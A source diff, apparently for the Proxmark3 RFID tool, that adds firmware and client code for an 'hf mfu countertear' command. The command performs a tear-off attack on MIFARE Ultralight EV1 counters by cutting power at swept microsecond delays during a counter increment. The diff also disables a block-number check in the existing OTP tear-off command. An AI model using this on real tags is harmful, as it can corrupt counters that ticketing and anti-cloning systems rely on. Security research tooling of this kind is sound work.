diff --git a/armsrc/appmain.c b/armsrc/appmain.c index d4b5faf27..9aa65de03 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -1473,6 +1473,15 @@ static void PacketReceived(PacketCommandNG *packet) { MifareU_Otp_Tearoff(packet->oldarg[0], packet->oldarg[1], packet->data.asBytes); break; } + case CMD_HF_MFU_COUNTER_TEAROFF: { + struct p { + uint8_t counter; + uint32_t tearoff_time; + } PACKED; + struct p *payload = (struct p *) packet->data.asBytes; + MifareU_Counter_Tearoff(payload->counter, payload->tearoff_time); + break; + } case CMD_HF_MIFARE_STATIC_NONCE: { MifareHasStaticNonce(); break; diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index 8b1bba150..f442166f4 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -2695,9 +2695,8 @@ void Mifare_DES_Auth2(uint32_t arg0, uint8_t *datain) { // // Tear-off attack against MFU. // - Moebius et al -void MifareU_Otp_Tearoff(uint8_t arg0, uint32_t arg1, uint8_t *datain) { +void MifareU_Otp_Tearoff(uint8_t arg0, uint32_t tearoff_time, uint8_t *datain) { uint8_t blockNo = arg0; - uint32_t tearOffTime = arg1; uint8_t data_fullwrite[4] = {0x00}; uint8_t data_testwrite[4] = {0x00}; memcpy(data_fullwrite, datain, 4); @@ -2705,8 +2704,8 @@ void MifareU_Otp_Tearoff(uint8_t arg0, uint32_t arg1, uint8_t *datain) { if (DBGLEVEL >= DBG_DEBUG) DbpString("Preparing OTP tear-off"); - if (tearOffTime > 43000) - tearOffTime = 43000; + if (tearoff_time > 43000) + tearoff_time = 43000; MifareUWriteBlock(blockNo, 0, data_fullwrite); @@ -2732,9 +2731,50 @@ void MifareU_Otp_Tearoff(uint8_t arg0, uint32_t arg1, uint8_t *datain) { // Wait before cutting power. aka tear-off LED_D_ON(); - SpinDelayUsPrecision(tearOffTime); + SpinDelayUsPrecision(tearoff_time); if (DBGLEVEL >= DBG_DEBUG) Dbprintf(_YELLOW_("OTP tear-off triggered!")); switch_off(); reply_ng(CMD_HF_MFU_OTP_TEAROFF, PM3_SUCCESS, NULL, 0); } + +// +// Tear-off attack against MFU counter +void MifareU_Counter_Tearoff(uint8_t counter, uint32_t tearoff_time) { + + if (tearoff_time > 43000) + tearoff_time = 43000; + + LEDsoff(); + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + clear_trace(); + set_tracing(true); + + // Send MFU counter increase cmd + uint8_t cmd[] = { + MIFARE_ULEV1_INCR_CNT, + counter, + 0, // lsb + 0, + 0, // msb + 0, // rfu + 0, + 0, + }; + AddCrc14A(cmd, sizeof(cmd) - 2); + + // anticollision / select card + if (!iso14443a_select_card(NULL, NULL, NULL, true, 0, true)) { + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Can't select card"); + OnError(1); + return; + }; + + // send + ReaderTransmit(cmd, sizeof(cmd), NULL); + LED_D_ON(); + SpinDelayUsPrecision(tearoff_time); + switch_off(); + + reply_ng(CMD_HF_MFU_COUNTER_TEAROFF, PM3_SUCCESS, NULL, 0); +} diff --git a/armsrc/mifarecmd.h b/armsrc/mifarecmd.h index 58cec9b49..f83f119e2 100644 --- a/armsrc/mifarecmd.h +++ b/armsrc/mifarecmd.h @@ -64,5 +64,5 @@ void Mifare_DES_Auth2(uint32_t arg0, uint8_t *datain); // Tear-off test for MFU void MifareU_Otp_Tearoff(uint8_t arg0, uint32_t arg1, uint8_t *datain); - +void MifareU_Counter_Tearoff(uint8_t counter, uint32_t tearoff_time); #endif diff --git a/client/src/cmdhfmfu.c b/client/src/cmdhfmfu.c index 219c7c27d..a818c8511 100644 --- a/client/src/cmdhfmfu.c +++ b/client/src/cmdhfmfu.c @@ -878,7 +878,7 @@ static int ulev1_print_counters(void) { PrintAndLogEx(INFO, "--- " _CYAN_("Tag Counters")); uint8_t tear[1] = {0}; uint8_t counter[3] = {0, 0, 0}; - uint16_t len = 0; + int len = 0; for (uint8_t i = 0; i < 3; ++i) { ulev1_readTearing(i, tear, sizeof(tear)); len = ulev1_readCounter(i, counter, sizeof(counter)); @@ -2832,10 +2832,12 @@ static int CmdHF14AMfuOtpTearoff(const char *Cmd) { return usage_hf_mfu_otp_tearoff(); case 'b': blockNoUint = param_get8(Cmd, cmdp + 1); +/* if (blockNoUint < 2) { PrintAndLogEx(WARNING, "Wrong block number"); errors = true; } +*/ cmdp += 2; break; case 'i': @@ -3037,6 +3039,141 @@ static int CmdHF14AMfuOtpTearoff(const char *Cmd) { return PM3_SUCCESS; } + +static int CmdHF14AMfuEv1CounterTearoff(const char *Cmd) { + + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf mfu countertear", + "Tear-off test against a Ev1 counter", + "hf mfu countertear\n" + "hf mfu countertear -s 200 -l 2500 -> target counter 0, start delay 200\n" + "hf mfu countertear -i 2 -s 200 -l 400 -> target counter 0, start delay 200\n" + ); + + void *argtable[] = { + arg_param_begin, + arg_int0("c", "cnt", "<0,1,2>", "Target this EV1 counter (0,1,2)"), + arg_int0("i", "inc", "", "time interval to increase in each iteration - default 10 us"), + arg_int0("l", "limit", "", "test upper limit time - default 3000 us"), + arg_int0("s", "start", "", "test start time - default 0 us"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, false); + int counter = arg_get_int_def(ctx, 1, 0); + int interval = arg_get_int_def(ctx, 2, 10); + int time_limit = arg_get_int_def(ctx, 3, 3000); + int start_time = arg_get_int_def(ctx, 4, 0); + CLIParserFree(ctx); + + // Validations + if (start_time > (time_limit - interval)) { + PrintAndLogEx(WARNING, "Wrong start time number"); + return PM3_EINVARG; + } + if (time_limit < interval) { + PrintAndLogEx(WARNING, "Wrong time limit number"); + return PM3_EINVARG; + } + if (time_limit > 43000) { + PrintAndLogEx(WARNING, "You can't set delay out of 1..43000 range!"); + return PM3_EINVARG; + } + uint8_t cnt_no = 0; + if (counter < 0 || counter > 2) { + PrintAndLogEx(WARNING, "Counter must 0, 1 or 2"); + return PM3_EINVARG; + } + cnt_no = (uint8_t)counter; + + + PrintAndLogEx(INFO, "----------------- " _CYAN_("MFU Ev1 Counter Tear off") " ---------------------"); + PrintAndLogEx(INFO, "Starting counter tear-off test"); + PrintAndLogEx(INFO, "Target counter no: %u", counter); + PrintAndLogEx(INFO, "----------------------------------------------------"); + + bool got_pre = false, got_post = false; + uint8_t pre[3] = {0}; + uint8_t post[3] = {0}; + uint32_t actual_time = start_time; + + iso14a_card_select_t card; + + while (actual_time <= (time_limit - interval)) { + + if (kbd_enter_pressed()) { + PrintAndLogEx(INFO, "\naborted via keyboard!\n"); + break; + } + + PrintAndLogEx(INFO, "Using tear-off delay " _GREEN_("%" PRIu32) " us", actual_time); + + if (ul_select(&card) == 0) + return PM3_ESOFT; + + got_pre = false; + uint8_t cntresp[3] = {0, 0, 0}; + int rlen = ulev1_readCounter(cnt_no, cntresp, sizeof(cntresp)); + if ( rlen == sizeof(cntresp) ) { + memcpy(pre, cntresp, sizeof(pre)); + got_pre = true; + } + DropField(); + + struct p { + uint8_t counter; + uint32_t tearoff_time; + } PACKED payload; + payload.counter = cnt_no; + payload.tearoff_time = actual_time; + + clearCommandBuffer(); + PacketResponseNG resp; + SendCommandNG(CMD_HF_MFU_COUNTER_TEAROFF, (uint8_t*)&payload, sizeof(payload)); + if (!WaitForResponseTimeout(CMD_HF_MFU_COUNTER_TEAROFF, &resp, 2000)) { + PrintAndLogEx(WARNING, "Failed"); + return PM3_ESOFT; + } + + got_post = false; + if (ul_select(&card) == 0) + return PM3_ESOFT; + + rlen = ulev1_readCounter(cnt_no, cntresp, sizeof(cntresp)); + if ( rlen == sizeof(cntresp) ) { + memcpy(post, cntresp, sizeof(post)); + got_post = true; + } + DropField(); + + if (got_pre && got_post) { + + char prestr[20] = {0}; + snprintf(prestr, sizeof(prestr), "%s", sprint_hex_inrow(pre, sizeof(pre))); + char poststr[20] = {0}; + snprintf(poststr, sizeof(poststr), "%s", sprint_hex_inrow(post, sizeof(post))); + + if (memcmp(pre, post, sizeof(pre)) == 0) { + PrintAndLogEx(INFO, "Current %d - %s", cnt_no, poststr); + } else { + PrintAndLogEx(INFO, _CYAN_("Tear off occured") " : %d %s vs " _RED_("%s") + , cnt_no, prestr, poststr); + } + + } else { + if (got_pre == false) + PrintAndLogEx(FAILED, "Failed to read Counter BEFORE"); + if (got_post == false) + PrintAndLogEx(FAILED, "Failed to read Counter AFTER"); + } + + actual_time += interval; + } + DropField(); + PrintAndLogEx(NORMAL, ""); + return PM3_SUCCESS; +} + + static int CmdHF14MfuNDEF(const char *Cmd) { int keylen; @@ -3167,6 +3304,7 @@ static command_t CommandTable[] = { {"gen", CmdHF14AMfUGenDiverseKeys, AlwaysAvailable, "Generate 3des mifare diversified keys"}, {"pwdgen", CmdHF14AMfUPwdGen, AlwaysAvailable, "Generate pwd from known algos"}, {"otptear", CmdHF14AMfuOtpTearoff, IfPm3Iso14443a, "Tear-off test on OTP bits"}, + {"countertear", CmdHF14AMfuEv1CounterTearoff, IfPm3Iso14443a, "Tear-off test on Ev1 Counter bits"}, {"ndef", CmdHF14MfuNDEF, IfPm3Iso14443a, "Prints NDEF records from card"}, {NULL, NULL, NULL, NULL} }; diff --git a/include/pm3_cmd.h b/include/pm3_cmd.h index 267ca2b7f..3bbedd9c7 100644 --- a/include/pm3_cmd.h +++ b/include/pm3_cmd.h @@ -650,6 +650,9 @@ typedef struct { // MFU OTP TearOff #define CMD_HF_MFU_OTP_TEAROFF 0x0740 +// MFU_Ev1 Counter TearOff +#define CMD_HF_MFU_COUNTER_TEAROFF 0x0741 + #define CMD_HF_SNIFF 0x0800 #define CMD_HF_PLOT 0x0801